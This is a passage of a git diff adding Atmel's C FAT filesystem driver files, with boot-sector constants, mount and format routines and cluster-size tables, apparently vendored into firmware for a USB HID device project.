LOW3_32_BPB_RootClus fs_g_sector[47] +#define LOW_16_BPB_FSInfo fs_g_sector[48] +#define HIGH_16_BPB_FSInfo fs_g_sector[49] +//! @} + + +//! \name Constante used to sign a MBR or PBR sectors +//! @{ +#define FS_BR_SIGNATURE_LOW 0x55 +#define FS_BR_SIGNATURE_HIGH 0xAA +//! @} + + +//! \name Constants used in MBR sector +//! @{ +#define FS_PART_BOOTABLE 0x80 +#define FS_PART_NO_BOOTABLE 0x00 +/* + Partition Fdisk Demarrage dans + Type Rapports Taille Type de FAT version + ----------------------------------------------------------------------------- + 01 PRI DOS 0-15 Mo 12 bits MS-DOS 2.0 + 04 PRI DOS 16-32 Mo 16 bits MS-DOS 3.0 + 05 EXT DOS 0-2 Go n/a MS-DOS 3.3 + 06 PRI DOS 32 Mo-2 Go 16 bits MS-DOS 4.0 + 0E PRI DOS 32 Mo-2 Go 16 bits Windows 95 + 0F EXT DOS 0-2 Go n/a Windows 95 + 0B PRI DOS 512 Mo - 2 teraoctets 32 bits OSR2 + 0C EXT DOS 512 Mo - 2 teraoctets 32 bits OSR2 +*/ +#define FS_PART_TYPE_FAT12 0x01 +#define FS_PART_TYPE_FAT16_INF32M 0x04 +#define FS_PART_TYPE_FAT16_SUP32M 0x06 +#define FS_PART_TYPE_FAT16_SUP32M_BIS 0x0E +#define FS_PART_TYPE_FAT32 0x0B +#define FS_PART_TYPE_FAT32_BIS 0x0C +#define FS_PART_REMOVE_MEDIA 0xF0 // removal media +#define FS_PART_NO_REMOVE_MEDIA 0xF8 // no removal media +#define FS_PART_HARD_DISK 0x81 // hard disk +#define FS_BOOT_SIGN 0x29 // Boot signature +//! @} + + +//! \name Maximum of FAT cluster +//! @{ +#define FS_FAT12_MAX_CLUSTERS 4085 // Maximum of cluster for FAT 12 +#define FS_FAT16_MAX_CLUSTERS 65525 // Maximum of cluster for FAT 16 +//! @} + + +//! \name Constants used in the first byte of file entry +//! @{ +#define FS_ENTRY_END 0x00 // end of directory +#define FS_ENTRY_DEL 0xE5 // deleted entry +#define FS_ENTRY_LFN_LAST 0x40 // mask to detect the last long name entry +//! @} + + +//! \name Constantes used to manage the file entry +//! @{ +#define FS_SIZE_FILE_ENTRY 32 // Size of the file entry +#define FS_SHIFT_B_TO_FILE_ENTRY 5 // Shift a unit byte to unit entry file (32,<<5) to unit sector 512B (512,>>9) +#define FS_SIZE_LFN_ENTRY 13 // Size of name stored in the file entry "long file name" (unit UNICODE = 2bytes) +#define FS_SIZE_SFNAME 11 // Size of name stored in the file entry "short file name" (unit byte) +#define FS_SIZE_SFNAME_WITHOUT_EXT 8 // Size of name (without extension) stored in the file entry "short file name" (unit byte) +#define FS_SIZE_SFNAME_EXT_ONLY 3 // Size of extension name stored in the file entry "short file name" (unit byte) +//! @} + + +//! \name LIMITATIONS OF FILE SYSTEM +//! @{ +#define FS_NB_FAT 2 // This file system managed only 2 FAT +//! @} + + +//**** Definitions of function configurations + +//! \name The unit sector of 512B is many used in file System stack +//! @{ +#define FS_512B 512 +#define FS_512B_MASK (512-1) +#define FS_512B_SHIFT_BIT 9 // Shift a unit byte to unit sector (512,>>9) +#define FS_SIZE_OF_SECTOR FS_512B // For compliance with old FileSystem module +#define FS_MASK_SIZE_OF_SECTOR FS_512B_MASK // For compliance with old FileSystem module +#define FS_SHIFT_B_TO_SECTOR FS_512B_SHIFT_BIT // For compliance with old FileSystem module +#define FS_CACHE_SIZE 512 // Cache size used by module (unit 512B) +//! @} + +//! Signal that sector cache is not valid +#define FS_BUF_SECTOR_EMPTY 0xFF + + +//! \name Status of the fat_checkcluster() function +//! @{ +#define FS_CLUS_OK 0 // Value correct +#define FS_CLUS_BAD 1 // Value bad +#define FS_CLUS_END 2 // It is the end of cluster list +//! @} + + +//! \name Options of the fat_cluster_list() function +//! @{ +#define FS_CLUST_ACT_SEG 0x01 // Get the sector address and size of the cluster list +#define FS_CLUST_ACT_ONE 0x02 // Get the sector address of the cluster list +#define FS_CLUST_ACT_CLR 0x03 // Clear the cluster list +//! @} + + +//! \name Options of the fat_cluster_val() function +#define FS_CLUST_VAL_READ false // Mode read +#define FS_CLUST_VAL_WRITE true // Mode write +#define FS_CLUST_VAL_EOL 0x0FFFFFFF // Value to signal the end of cluster list +//! @} + + +//! \name Structures used to store the information about File System mount +//! @{ + +//! Union to define a root directory +typedef union +{ + uint32_t u32_cluster; //!< For FAT32, the root directory is a cluster list + struct + { + uint16_t u16_pos; //!< Offset between the beginning of FAT and the beginning of root dir (unit 512B) + uint16_t u16_size; //!< Size of root (unit 512B) + } seg; //!< For FAT 12 & 16, it is a segment (no cluster list) +} Fs_rootdir; + +//! Struture to save the variables frequently used by file system mounted +typedef struct +{ + uint8_t u8_lun; //!< Number of logical driver +#if (FS_MULTI_PARTITION == ENABLED) + uint8_t u8_partition; //!< Number of partition - 1 (0 or 1) +#endif + uint8_t u8_BPB_SecPerClus; //!< Cluster size (unit 512B) + // The pointers start at beginning of the memory, and unit = 512B + uint32_t u32_fat_size; //!< Size of one FAT (unit 512B) + uint16_t u16_offset_FSInfo; //!< Offset between the beginning of FAT and the FSInfo sector (only used by FAT32) (unit 512B) + uint32_t u32_CountofCluster; //!< Number of cluster (include the two reserved cluster) + uint32_t u32_ptr_fat; //!< FAT address (unit 512B) + uint32_t u32_offset_data; //!< Offset between the beginning of FAT and the first cluster (unit 512B) + Fs_rootdir rootdir; //!< Root directory informations + uint16_t u16_entry_pos_sel_dir; //!< Position of selected directory in her parent directory (only use to speed up the get directory name routine) + uint32_t u32_cluster_sel_dir; //!< First cluster number of selected directory (0 for the root directory) + uint16_t u16_pos_sel_file; //!< File position in the file list (only used by navigation functions) + uint16_t u16_pos_filterlist; //!< File position in the file list filtered (only for nav_filterlist functions) + FS_STRING sz_filterext; //!< pointer on extension filter to use in nav_filterlist functions + uint8_t b_mode_nav; //!< Navigation step ( FS_FILE or FS_DIR ) + uint8_t b_mode_nav_single; //!< Navigation File List provide only files or directories + uint8_t u8_flat_dir_level; //!< Directory level of the current dir in flat list + uint16_t u16_flat_pos_offset; //!< Offset in flat list of the directory +} Fs_management; + +//! Struture to save the variables very frequently used by file system mounted +typedef struct +{ + uint8_t u8_type_fat; //!< FAT type (default = no mounted = FS_TYPE_FAT_UNM) + uint16_t u16_entry_pos_sel_file; //!< Entry file position in directory (unit = FS_SIZE_FILE_ENTRY) (see value FS_NO_SEL & FS_END_FIND) +} Fs_management_fast; + +//! Struture to save the frequently variables of file system mounted +typedef struct +{ + uint8_t u8_open_mode; //!< open mode of selected file + uint8_t u8_txt_format; //!< format of text used in selected file (only for reader_txt module) + uint8_t u8_attr; //!< Attribut of the selected file + uint32_t u32_cluster; //!< First cluster of the selected file + uint32_t u32_size; //!< Size of selected file (unit Bytes) + uint32_t u32_pos_in_file; //!< Current position in file (unit Bytes) +} Fs_management_entry; +//! @} + + +//! \name Main sructures +//! @{ + +//! Struture to define a segment +typedef struct { + uint32_t u32_addr; //!< segment address (unit 512B), or cluster number + uint32_t u32_size_or_pos; //!< segment size (unit 512B), or position in cluster list (unit 512B) +} Fs_segment; + +//! Struture to store cluster information +typedef struct st_fs_cluster +{ + uint32_t u32_pos; //!< cluster position + uint32_t u32_val; //!< cluster value +} Fs_cluster; + +//! @} + + +//! Struture to store the cluster list cache +typedef struct { + Bool b_cache_file; //!< Signal a cluster cache from file cluster list or directory cluster list + uint8_t u8_level_use; //!< Cache level, 0 for the last used and up to FS_NB_CACHE_CLUSLIST-1 for the old access (ignore if FS_NB_CACHE_CLUSLIST=1) + uint8_t u8_lun; //!< LUN of cluster list + uint32_t u32_cluster; //!< First cluster of cluster list + uint32_t u32_start; //!< Start position in the cluster list (unit 512B) + uint32_t u32_addr; //!< Address corresponding at the position "start" in cluster list + uint32_t u32_size; //!< Cluster list size +} Fs_clusterlist_cache; + + +//! Struture to store the information about sector cache (=last sector read or write on disk) +typedef struct { + uint8_t u8_lun; //!< LUN of sector + uint32_t u32_addr; //!< Sector address (unit 512B) + uint8_t u8_dirty; //!< Cache status + //!< if the sector is a sector from a cluster list THEN + uint32_t u32_clusterlist_start; //!< first cluster of cluster list + uint32_t u32_clusterlist_pos; //!< position in cluster list (unit 512B) +} Fs_sector_cache; + + +//**** Definition of value used by the STRUCTURES of communication + +//! \name FAT type ID, used in "Fs_management_fast.u8_type_fat" +//! @{ +#define FS_TYPE_FAT_UNM 0 //!< Partition not mounted +#define FS_TYPE_FAT_12 1 +#define FS_TYPE_FAT_16 2 +#define FS_TYPE_FAT_32 3 +//! @} + + +//! \name Value used in "Fs_management_fast.u16_entry_pos_sel_file" +//! @{ +#define FS_NO_SEL 0xFFFF //!< Signal that a file entry isn't selected +#define FS_END_FIND 0xFFFE //!< Signal that a file entry is the last file entry accessibled by system +//! @} + + +//! \name Macro to check the file open mode +//! @{ +#define Fat_file_is_open() (fs_g_nav_entry.u8_open_mode !=0 ) +#define Fat_file_isnot_open() (fs_g_nav_entry.u8_open_mode ==0 ) +#define Fat_file_close() (fs_g_nav_entry.u8_open_mode =0 ) +//! @} + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//**** Global file system variables + +//! Variables to select string format (initialised in nav_reset()) +_GLOBEXT_ Bool g_b_unicode; +//! Variables to select LENGTH string mode (initialised in nav_reset()) +_GLOBEXT_ Bool g_b_string_length; + +//! Variables to enable/disable the disk check before each action on disk +_GLOBEXT_ Bool g_b_no_check_disk; + +//! \name Variables initialised in drive_mount() +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management fs_g_nav; +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_management_fast fs_g_nav_fast; +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_management_entry fs_g_nav_entry; +//! @} + +//! Variable frequently used by many function (optimization, no parameter in function) +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_segment fs_g_seg; + +//! To take time in functions: fat_getfreespace, fat_cluster_list, fat_cluster_val, fat_checkcluster +_GLOBEXT_ _MEM_TYPE_FAST_ Fs_cluster fs_g_cluster; + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! \name Variables used to update the second FAT zone +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_first_mod_fat; //!< Offset (unit 512B) in fat of the first sector (unit 512B) +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_g_u32_last_mod_fat; //!< Offset (unit 512B) in fat of the last sector (unit 512B) +//! @} +#endif // FS_LEVEL_FEATURES + +//! \name Variables used to manage the sector cache +//! @{ +_GLOBEXT_ _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ]; +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_sector_cache fs_g_sectorcache; +_GLOBEXT_ _MEM_TYPE_SLOW_ uint32_t fs_gu32_addrsector; //!< Store the address of futur cache (unit 512B) +typedef uint8_t _MEM_TYPE_SLOW_ * PTR_CACHE; +//!}@ + + + + +//! \name Functions to verify navigator state +//! @{ +Bool fat_check_device ( void ); +Bool fat_check_mount ( void ); +Bool fat_check_noopen ( void ); +Bool fat_check_open ( void ); +Bool fat_check_select ( void ); +Bool fat_check_mount_noopen ( void ); +Bool fat_check_mount_select_noopen ( void ); +Bool fat_check_mount_select_open ( void ); +Bool fat_check_mount_select ( void ); +Bool fat_check_is_file ( void ); +//! @} + +//! This function returns the number of partition present on selected drive +uint8_t fat_get_nbpartition ( void ); + +//! This function mounts a partition +Bool fat_mount ( void ); + +//! This function formats the drive +Bool fat_format ( uint8_t u8_fat_type ); + +//! This function reads or writes a serial number +Bool fat_serialnumber ( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ); + + +//! \name Functions to compute free space on a partition +//! @{ +uint32_t fat_getfreespace ( void ); +uint8_t fat_getfreespace_percent ( void ); +Bool fat_write_fat32_FSInfo ( uint32_t u32_nb_free_cluster ); +uint32_t fat_read_fat32_FSInfo ( void ); +//! @} + + +//! \name Functions to manage the cluster list +//! @{ +Bool fat_cluster_list ( uint8_t opt_action, Bool b_for_file ); +void fat_cache_clusterlist_reset ( void ); +Bool fat_cluster_val ( Bool b_mode ); +Bool fat_cluster_readnext ( void ); +uint8_t fat_checkcluster ( void ); +Bool fat_allocfreespace ( void ); +void fat_clear_info_fat_mod ( void ); +Bool fat_clear_cluster ( void ); +Bool fat_update_fat2 ( void ); +//! @} + + +//! \name Functions to read or to write a file or a directory +//! @{ +Bool fat_read_file ( uint8_t mode ); +Bool fat_write_file ( uint8_t mode , uint32_t u32_nb_sector_write ); +Bool fat_read_dir ( void ); +Bool fat_initialize_dir ( void ); +//! @} + + +//! \name Functions to manage the entry field (fat.c) +//! @{ +Bool fat_entry_check ( Bool b_type ); +Bool fat_entry_checkext ( FS_STRING sz_filter ); +void fat_get_entry_info ( void ); +Bool fat_entry_is_dir ( void ); +void fat_clear_entry_info_and_ptr ( void ); +void fat_write_entry_file ( void ); +Bool fat_entry_shortname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ); +Bool fat_entry_longname ( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ); +Bool fat_check_eof_name ( uint16_t character ); +PTR_CACHE fat_get_ptr_entry ( void ); +//! @} + + +//! \name Functions to manage the entry field (fat_unusual.c) +//! @{ +Bool fat_create_entry_file_name ( FS_STRING sz_name ); +void fat_get_date ( FS_STRING sz_date , Bool type_date ); +void fat_set_date ( const FS_STRING sz_date , Bool type_date ); +Bool fat_delete_file ( Bool b_cluster_list ); +Bool fat_entry_label ( Bool b_action , FS_STRING sz_label ); +//! @} + + +//! \name Functions to manage the cache +//! @{ +Bool fat_cache_read_sector ( Bool b_load ); +void fat_cache_reset ( void ); +void fat_cache_clear ( void ); +void fat_cache_mark_sector_as_dirty( void ); +Bool fat_cache_flush ( void ); +//! @} + + +//! \name Functions to control access disk +//! @{ +#if (FS_NB_NAVIGATOR > 1) + Bool fat_check_nav_access_disk ( void ); + Bool fat_check_nav_access_file ( Bool mode ); +#else +# define fat_check_nav_access_disk(b) (true) //! In case of one navigator, function not used +# define fat_check_nav_access_file(b) (true) //! In case of one navigator, function not used +#endif +//! @} + + +//! \name Functions to manage navigator switch +//! @{ +#if (FS_NB_NAVIGATOR > 1) + void fat_invert_nav ( uint8_t u8_idnav ); + void fat_copy_nav ( uint8_t u8_idnav ); +#else +# define fat_invert_nav ( arg ) (arg++) //! In case of one navigator, function not used +# define fat_copy_nav ( arg ) (arg++) //! In case of one navigator, function not used +#endif +//! @} + +#endif // _FAT_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c new file mode 100755 index 0000000..b5b929c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/fat_unusual.c @@ -0,0 +1,2499 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT services. + * + * This file is a set of rarely-used FAT functions. + * + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "fs_com.h" +#include "fat.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E F I N I T I O N S ______________________________________________ + + + + +//_____ D E C L A R A T I O N S ____________________________________________ + +Bool fat_select_filesystem ( uint8_t u8_fat_type , Bool b_MBR ); +Bool fat_write_MBR ( void ); +Bool fat_write_PBR ( Bool b_MBR ); +Bool fat_clean_zone ( Bool b_MBR ); +Bool fat_initialize_fat ( void ); + + +//! \name Sub routines used by date read-write routines +//! @{ +void fat_translatedate_number_to_ascii ( FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ); +void fat_translate_number_to_ascii ( FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii, uint8_t u8_nb_increment ); +void fat_translatedate_ascii_to_number ( const FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ); +uint16_t fat_translate_ascii_to_number ( const FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii ); +//! @} + +//! \name Sub routine used to create a entry file +//! @{ +void fat_create_long_name_entry ( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ); +uint8_t fat_create_short_entry_name ( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ); +uint8_t fat_find_short_entry_name ( FS_STRING sz_name ); +Bool fat_entry_shortname_compare ( FS_STRING short_name ); +uint8_t fat_check_name ( FS_STRING sz_name ); +uint8_t fat_translate_char_shortname ( uint8_t character ); +Bool fat_alloc_entry_free ( uint8_t u8_nb_entry ); +Bool fat_garbage_collector_entry ( void ); +//! @} + + + + +//! This function mounts a partition file system (FAT12, FAT16 or FAT32) of selected drive +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_nav.u8_lun Indicate the drive to mount +//! fs_g_nav.u8_partition Indicate the partition to mount (if FS_MULTI_PARTITION = ENABLED ) +//! OUT: +//! fs_g_nav update structure +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! @endverbatim +//! +Bool fat_mount( void ) +{ + uint8_t u8_sector_size; + uint8_t u8_tmp; + uint16_t u16_tmp; + uint32_t u32_tmp; + + // Select the root directory + fs_g_nav.u32_cluster_sel_dir = 0; + // No selected file + fat_clear_entry_info_and_ptr(); + + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; + fs_gu32_addrsector = 0; // Start read at the beginning of memory + + // Check if the drive is availabled + if( !fat_check_device() ) + return false; + + while( 1 ) // Search a valid partition + { + // Read one sector + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR/MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) + { + fs_g_status = FS_ERR_NO_FORMAT; + return false; + } + + if ( 0 == fs_gu32_addrsector ) + { + //** first sector then check a MBR structure + // Search the first partition supported +#if (FS_MULTI_PARTITION == ENABLED) + u16_tmp=0; // Init to "no valid partition found" +#endif + for( u8_tmp=0 ; u8_tmp!=4 ; u8_tmp++ ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_BOOTABLE )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+0] == FS_PART_NO_BOOTABLE ) ) + && ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT12 )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_INF32M )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_SUP32M )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT16_SUP32M_BIS)|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT32 )|| + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+4] == FS_PART_TYPE_FAT32_BIS )) ) + { + // A valid partition is found +#if (FS_MULTI_PARTITION == ENABLED) + if( u16_tmp == fs_g_nav.u8_partition ) + break; // The selected partition is valid + u16_tmp++; +#else + break; +#endif + } + } + if( u8_tmp != 4 ) + { + // Partition found -> Get partition position (unit sector) at offset 8 + LSB0(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+8]; + LSB1(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+9]; + LSB2(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+10]; + LSB3(fs_gu32_addrsector) = fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(u8_tmp)+11]; + fs_gu32_addrsector *= mem_sector_size( fs_g_nav.u8_lun ); + continue; // Go to check PBR of partition + } + + // No MBR found then check PBR +#if (FS_MULTI_PARTITION == ENABLED) + // The device don't have mutli partition, but only one + if ( 0 != fs_g_nav.u8_partition ) + { + fs_g_status = FS_ERR_NO_PART; + return false; + } +#endif + } + + //** Check a PBR structure + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 + (fs_g_sector[2] == 0x90) && // PBR Byte 2 + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte + { + break; // valid PBR found + } + // PBR not found + fs_g_status = FS_ERR_NO_PART; + return false; + } + + fs_g_status = FS_ERR_NO_SUPPORT_PART; // by default partition no supported + + // Get sector size of File System (unit 512B) + // To translate from sector disk unit to sector 512B unit + u8_sector_size = HIGH_16_BPB_BytsPerSec/2; + + // Read BPB_SecPerClus (unit sector) + fs_g_nav.u8_BPB_SecPerClus = U8_BPB_SecPerClus * u8_sector_size; + + //** FAT Type determination (algorithm of "Hardware White Paper FAT") + // Get FAT size (unit sector) + u32_tmp=0; + LSB0( u32_tmp ) = LOW_16_BPB_FATSz16; + LSB1( u32_tmp ) = HIGH_16_BPB_FATSz16; + if ( 0==u32_tmp ) + { + LSB0( u32_tmp ) = LOW0_32_BPB_FATSz32; + LSB1( u32_tmp ) = LOW1_32_BPB_FATSz32; + LSB2( u32_tmp ) = LOW2_32_BPB_FATSz32; + LSB3( u32_tmp ) = LOW3_32_BPB_FATSz32; + } + fs_g_nav.u32_fat_size = u32_tmp * u8_sector_size; + + // Get total count of sectors in partition + if ( (0==LOW_16_BPB_TotSec16) && (0==HIGH_16_BPB_TotSec16) ) + { + LSB0( u32_tmp ) = LOW0_32_BPB_TotSec32; + LSB1( u32_tmp ) = LOW1_32_BPB_TotSec32; + LSB2( u32_tmp ) = LOW2_32_BPB_TotSec32; + LSB3( u32_tmp ) = LOW3_32_BPB_TotSec32; + } + else + { + LSB0( u32_tmp ) = LOW_16_BPB_TotSec16; + LSB1( u32_tmp ) = HIGH_16_BPB_TotSec16; + LSB2( u32_tmp ) = 0; + LSB3( u32_tmp ) = 0; + } + u32_tmp *= u8_sector_size; // Translate from sector disk unit to sector 512B unit + + // Compute the offset (unit 512B) between the end of FAT (beginning of root dir in FAT1x) and the beginning of PBR + fs_g_nav.rootdir.seg.u16_pos = FS_NB_FAT * (uint16_t)fs_g_nav.u32_fat_size; + + // Compute the root directory size (unit sector), for FAT32 is always 0 + LSB( u16_tmp ) = LOW_16_BPB_RootEntCnt; + MSB( u16_tmp ) = HIGH_16_BPB_RootEntCnt; + fs_g_nav.rootdir.seg.u16_size = ((u16_tmp * FS_SIZE_FILE_ENTRY) + ((FS_512B*u8_sector_size)-1)) / (FS_512B*u8_sector_size); + fs_g_nav.rootdir.seg.u16_size *= u8_sector_size; + + // Get number of reserved sector + LSB( u16_tmp ) = LOW_16_BPB_ResvSecCnt; + MSB( u16_tmp ) = HIGH_16_BPB_ResvSecCnt; + // Get FSInfo position + fs_g_nav.u16_offset_FSInfo = (u16_tmp-LOW_16_BPB_FSInfo)*u8_sector_size; + u16_tmp *= u8_sector_size; // number of reserved sector translated in unit 512B + + // Compute the FAT address (unit 512B) + fs_g_nav.u32_ptr_fat = fs_gu32_addrsector + u16_tmp; + + // Compute the offset (unit 512B) between the first data cluster and the FAT beginning + fs_g_nav.u32_offset_data = (FS_NB_FAT * fs_g_nav.u32_fat_size) + (uint32_t)fs_g_nav.rootdir.seg.u16_size; + + // Compute the data region (clusters space = Total - Sector used) size (unit 512B) + u32_tmp -= ((uint32_t)u16_tmp + fs_g_nav.u32_offset_data); + + // Compute the count of CLUSTER in the data region + // !!!Optimization -> u32_CountofCluster (unit 512B)/ fs_g_nav.u8_BPB_SecPerClus (unit 512B & power of 2) + if (!fs_g_nav.u8_BPB_SecPerClus) + return false; + for( u8_tmp = fs_g_nav.u8_BPB_SecPerClus; u8_tmp!=1 ; u8_tmp >>= 1 ) + { + u32_tmp >>= 1; // This computation round down + } + fs_g_nav.u32_CountofCluster = u32_tmp+2; // The total of cluster include the two reserved clusters + + // Determine the FAT type + if (u32_tmp < FS_FAT12_MAX_CLUSTERS) + { + // Is FAT 12 +#if (FS_FAT_12 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_12; + } else { + if (u32_tmp < FS_FAT16_MAX_CLUSTERS) + { + // Is FAT 16 +#if (FS_FAT_16 == DISABLED) + return FS_NO_SUPPORT_PART; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_16; + } else { + // Is FAT 32 +#if (FS_FAT_32 == DISABLED) + return false; +#endif + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_32; + // In FAT32, the root dir is like another directory, this one have a cluster list + // Get the first cluster number of root + LSB0( fs_g_nav.rootdir.u32_cluster ) = LOW0_32_BPB_RootClus; + LSB1( fs_g_nav.rootdir.u32_cluster ) = LOW1_32_BPB_RootClus; + LSB2( fs_g_nav.rootdir.u32_cluster ) = LOW2_32_BPB_RootClus; + LSB3( fs_g_nav.rootdir.u32_cluster ) = LOW3_32_BPB_RootClus; + } + } + + return true; +} + + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + +//! \name Global variable to optimize the footprint of format routines +_MEM_TYPE_SLOW_ uint32_t fs_s_u32_size_partition; + +//! This function formats the current drive +//! +//! @param u8_fat_type Select the type of format
+//! FS_FORMAT_DEFAULT, The file system module choose the better FAT format for the drive space
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG if you don't want a MRB in disk then add this flag (e.g. FAT format on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_nav.u8_lun indicate the drive to format +//! +//! This routine can't format a multi-partiton, if the disk contains a multi-partition area +//! then the multi-partition will be erased and replaced by a single partition on all disk space. +//! @endverbatim +//! +Bool fat_format( uint8_t u8_fat_type ) +{ + Bool b_MBR; +#if (FS_MULTI_PARTITION == ENABLED) +#error NOT SUPPORTED + fs_g_nav.u8_partition = 0; +#endif + + + // Get drive capacity (= last LBA) + mem_read_capacity( fs_g_nav.u8_lun , &fs_s_u32_size_partition ); + + if( u8_fat_type & FS_FORMAT_NOMBR_FLAG ) + { + b_MBR = false; + u8_fat_type &= ~FS_FORMAT_NOMBR_FLAG; + // partition size = disk size = last LBA + 1 + fs_s_u32_size_partition++; + }else{ + b_MBR = true; + // partition size = size disk -1 = last LBA + } + + // Compute the FAT type for the device + if( !fat_select_filesystem( u8_fat_type , b_MBR )) + return false; + + // Write the MBR sector (first sector) + if( b_MBR ) + if( !fat_write_MBR()) + return false; + + // Write the PBR sector + if( !fat_write_PBR( b_MBR )) + return false; + + // Clear reserved zone, FAT zone, and Root dir zone + // Remark: the reserved zone of FAT32 isn't initialized, because BPB_FSInfo is equal to 0 + if( !fat_clean_zone( b_MBR )) + return false; + + // Initialization of the FAT 1 and 2 + if( !fat_initialize_fat()) + return false; + + return fat_cache_flush(); +} + + + +//! \name Struture for the tables format +typedef struct st_fs_format_table { + uint32_t u32_disk_size; + uint8_t u8_SecPerClusVal; +} Fs_format_table; + + +//! Table format for FAT12 +_CONST_TYPE_ Fs_format_table TableFAT12[] = { + { 4096, 1}, // disks up to 2 MB, 512 bytes cluster + { 8192, 2}, // disks up to 4 MB, 1k cluster + { 16384, 4}, // disks up to 8 MB, 2k cluster + { 32680, 8}, // disks up to 16 MB, 4k cluster +}; +/* +NOTE: that this table includes +entries for disk sizes larger than 16 MB even though typically +only the entries for disks < 16 MB in size are used. +The way this table is accessed is to look for 